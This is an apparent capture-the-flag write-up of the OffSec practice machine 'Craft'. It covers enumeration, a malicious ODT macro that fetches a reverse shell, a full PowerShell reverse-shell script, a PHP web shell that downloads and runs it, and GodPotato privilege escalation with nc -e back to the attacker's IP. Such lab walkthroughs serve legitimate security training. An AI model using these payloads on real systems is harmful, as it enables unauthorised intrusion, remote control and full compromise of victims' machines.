Craft

Enumeration:

Port Scanning:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 192.168.137.169
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 23:27 EST
<snipped>
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.29 seconds
           Raw packets sent: 8 (304B) | Rcvd: 0 (0B
           
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 192.168.137.169 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 23:27 EST
Nmap scan report for 192.168.137.169
Host is up, received user-set (0.26s latency).
Scanned at 2025-11-11 23:28:00 EST for 47s
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 125 Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Craft

<snipped>

Interestingly we have only one port open which is 80.

Open it with Firefox:

We have an upload form:

Also the domain name has been written at the bottom of the page, we could add it to the hosts file, and enumerate subdomains for example:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ cat /etc/hosts                                                                
127.0.0.1       localhost
127.0.1.1       kali
<snipped>

192.168.137.169 craft.offsec

I did not find any subdomain to this application.

Directory fuzzing:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]                                                                                                                      
└─$ gobuster dir -u http://craft.offsec -w /usr/share/wordlists/dirb/common.txt -x php,html -t 40                                                                           
===============================================================                                                                                                             
Gobuster v3.8                                                                                                                                                               
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                                                               
===============================================================                                                                                                             
[+] Url:                     http://craft.offsec                                                                                                                            
[+] Method:                  GET                                                                                                                                            
[+] Threads:                 40                                                                                                                                             
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt                                                                                                           
[+] Negative Status codes:   404                                                                                                                                            
[+] User Agent:              gobuster/3.8                                                                                                                                   
[+] Extensions:              php,html                                                                                                                                       
[+] Timeout:                 10s                                                                                                                                            
===============================================================                                                                                                             
Starting gobuster in directory enumeration mode                                                                                                                             
===============================================================
<snipped>
/server-status        (Status: 403) [Size: 420]
/upload.php           (Status: 200) [Size: 537]
/uploads              (Status: 301) [Size: 338] [--> http://craft.offsec/uploads/]
/webalizer            (Status: 403) [Size: 420]
Progress: 13839 / 13839 (100.00%)
===============================================================
Finished
===============================================================

We have the upload.php as we have seen in the photo above the upload form, and uploads directory that has nothing.

Lets try to upload text file:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ echo test >> test.txt

It accepts only odt files, we can bypass this and upload a php file for example, but the uploaded files will not go to the uploads directory but somewhere else we do not know.

I searched online for ODT files:

As mentioned in the readme.md file, this script provide 3 ways we can take advantage of macros on ms office, and one for libreoffice odt, so I will use the last one but modify it a bit:

print("\n\n------------------LIBREOFFICE-OPENOFFICE-ODT---------------------------\n\n")

print('Sub Main')
# print('    Shell("cmd /c powershell -ep bypass -c (New-Object System.Net.WebClient).DownloadFile(\'http://' + args.host + '/win/rshell.exe\', \'rshell.exe\')")')     #Doesn't work, syntax issues

print('    Shell("cmd /c powershell iwr \'http://' + args.host + '/win/rshell.exe\' -o \'C:/windows/tasks/rshell.exe\'")')
print('    Shell("cmd /c \'C:/windows/tasks/rshell.exe\'")')
print('End Sub')

Start Libreoffice to create our odt file with macro in it:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ libreoffice

We will be presented by the welcoming libreoffice page.

Click on writer document to create a new one:

It will open us a new document:

Click on tools in the toolbar then on macros, organize macros and finally basic to create a new macro:

We will select our document that has no name at the moment (untitiled 1) then press new, and name our macro, then click OK:

It will open up the macro editor:

I will place my own one-liner reverse shell command:

Finally close it up.

Now we need to setup the trigger that will execute our macro which is opening the document.

Tools again, the customize:

We will select the open document even, the under assign on the right hand of the prompt click on macro, select our macro, after that click OK:

We can see in the photo below, that our macro has been assigned on the open document event.

Now save the file as odt:

Exploitation:

I will upload the odt file, but before that start a nc listener and a web server to host our shell.ps1 file:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ cat shell.ps1                                                          
$client = New-Object System.Net.Sockets.TCPClient('192.168.45.238',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $by
tes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + '
PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80                     
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...

Wait a minute:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80                     
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.137.169 - - [12/Nov/2025 00:32:58] "GET /shell.ps1 HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.137.169] 49756

PS C:\Program Files\LibreOffice\program> whoami
craft\thecybergeek

Here we have a reverse shell as thecybergeek.

Post-Exploitation:

Doing some local enumeration.

I found another user on the target called apache:

PS C:\> cd \Users
PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/28/2021   3:53 AM                Administrator
d-----        7/13/2021   3:19 AM                apache
d-r---        5/28/2021   3:53 AM                Public
d-----        7/13/2021   3:35 AM                thecybergeek

And we have our xampp that is used to run the application we exploited earlier:

PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:27 AM                java
d-----        5/28/2021   4:20 AM                PerfLogs
d-r---        7/13/2021   3:37 AM                Program Files
d-----        5/28/2021   3:53 AM                Program Files (x86)
d-r---        7/13/2021   3:35 AM                Users
d-----       10/14/2021   1:30 AM                Windows
d-----        5/28/2021   6:04 AM                Windows10Upgrade
d-----        7/13/2021   3:24 AM                xampp
-a----       11/11/2025   9:21 PM           2698 output.txt
PS C:\> cd xampp
PS C:\xampp> dir


    Directory: C:\xampp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:22 AM                apache
d-----        7/13/2021   3:22 AM                cgi-bin
d-----        7/13/2021   3:22 AM                contrib
d-----        7/13/2021   3:22 AM                FileZillaFTP
d-----        7/13/2021   3:18 AM                htdocs
d-----        7/13/2021   3:22 AM                install
d-----        7/13/2021   3:22 AM                licenses
d-----        7/13/2021   3:22 AM                locale
d-----        7/13/2021   3:22 AM                MercuryMail
d-----        7/13/2021   3:23 AM                mysql
d-----        7/13/2021   3:23 AM                perl
d-----        7/13/2021   3:23 AM                php
d-----        7/13/2021   3:23 AM                phpMyAdmin
d-----        7/13/2021   3:23 AM                sendmail
d-----       11/11/2025   9:32 PM                tmp
d-----        7/13/2021   3:23 AM                tomcat
d-----        7/13/2021   3:23 AM                webalizer
d-----        7/13/2021   3:23 AM                webdav
-a----         6/7/2013  11:15 AM            436 apache_start.bat
-a----        10/1/2019   7:13 AM            190 apache_stop.bat
<snipped>
PS C:\xampp\htdocs> dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----       11/11/2025   9:32 PM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----         7/7/2021   9:56 AM            835 upload.php

Here we will have the files we discovered previously via gobuster.

Search for services the Apache user is running:

PS C:\Program Files\LibreOffice\program> Get-WmiObject Win32_Service | Select-Object Name, StartName, ProcessId | findstr apache
ApacheHTTPServer                         .\apache                         2328
PS C:\Program Files\LibreOffice\program> tasklist /v | findstr 2328
httpd.exe                     2328                            0     20,008 K Unknown         N/A                                                     0:00:00 N/A

We can confirm that the Apache user is the one running the httpd service.

So if we uploaded another reverse shell file to that directory we can get code execution.

Lets check the permissions we have on that directory:

PS C:\xampp\htdocs> echo 1 > test.txt
PS C:\xampp\htdocs> dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----       11/11/2025   9:32 PM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----       11/11/2025   9:48 PM              8 test.txt
-a----         7/7/2021   9:56 AM            835 upload.php

We have write permissions, we can also check this by using icacls or Get-Acl on that directory as well.

I wrote a simple php script to execute the same cradle I used within the macro:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ vim shell.php

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ cat shell.php
<?php system('powershell -c IEX(IWR -UseBasicParsing -Uri http://192.168.45.238/shell.ps1)');?>

Start the python3 web server again and upload the shell.php to the target:

PS C:\xampp\htdocs> curl http://192.168.45.238/shell.php -o shell.php
PS C:\xampp\htdocs> dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----       11/11/2025   9:32 PM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----       11/11/2025   9:51 PM             96 shell.php
-a----         7/7/2021   9:56 AM            835 upload.php
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...

Open that file up with Firefox:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.137.169 - - [12/Nov/2025 00:51:45] "GET /shell.php HTTP/1.1" 200 -
192.168.137.169 - - [12/Nov/2025 00:52:02] "GET /shell.ps1 HTTP/1.1" 200 -

We got a hit to our webserver.

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.137.169] 49876

PS C:\xampp\htdocs> whoami
craft\apache

Now we are the user apache.

Check our privileges:

PS C:\xampp\htdocs> whoami /all

USER INFORMATION
----------------

User Name    SID
============ ============================================
craft\apache S-1-5-21-537427935-490066102-1511301751-1000

<snipped>

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeTcbPrivilege                Act as part of the operating system       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

We have seimpersonateprivilege privilege.

Upload nc and godpotato:

PS C:\xampp\htdocs> cd \Windows\Tasks
PS C:\Windows\Tasks> curl http://192.168.45.238/nc64.exe -o nc.exe
PS C:\Windows\Tasks> curl http://192.168.45.238/GodPotato-NET4.exe -o GodPotato-NET4.exe
PS C:\Windows\Tasks> dir


    Directory: C:\Windows\Tasks


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----       11/11/2025   9:53 PM          57344 GodPotato-NET4.exe                                                     
-a----       11/11/2025   9:53 PM          45272 nc.exe

Start another nc listener:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443       
listening on [any] 443 ...

Execute godpotato:

PS C:\Windows\Tasks> .\GodPotato-NET4.exe -cmd "C:\Windows\Tasks\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.238 443"
[*] CombaseModule: 0x140725752430592
[*] DispatchTable: 0x140725754744000
[*] UseProtseqFunction: 0x140725754120928
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\2ba62230-fae2-4aa1-8f64-7d963050c5cb\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002002-07a4-ffff-71dd-f13a829a3552
[*] DCOM obj OXID: 0x8ddf51fe7a8229e4
[*] DCOM obj OID: 0x6757d7c514911bfe
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 880 Token:0x804  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation 
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4892
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443       
listening on [any] 443 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.137.169] 49892
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>set username
USERNAME=CRAFT$

C:\Windows\system32>set computername
COMPUTERNAME=CRAFT

We will have access as the machine account.

Get the flags

C:\Windows\system32>type \Users\Administrator\Desktop\proof.txt
5f4295b24c3cf5d8737ace238b4c8daa

C:\Windows\system32>type \Users\thecybergeek\Desktop\local.txt
6513e34eaca556c88a9b02f2386653b0

Last updated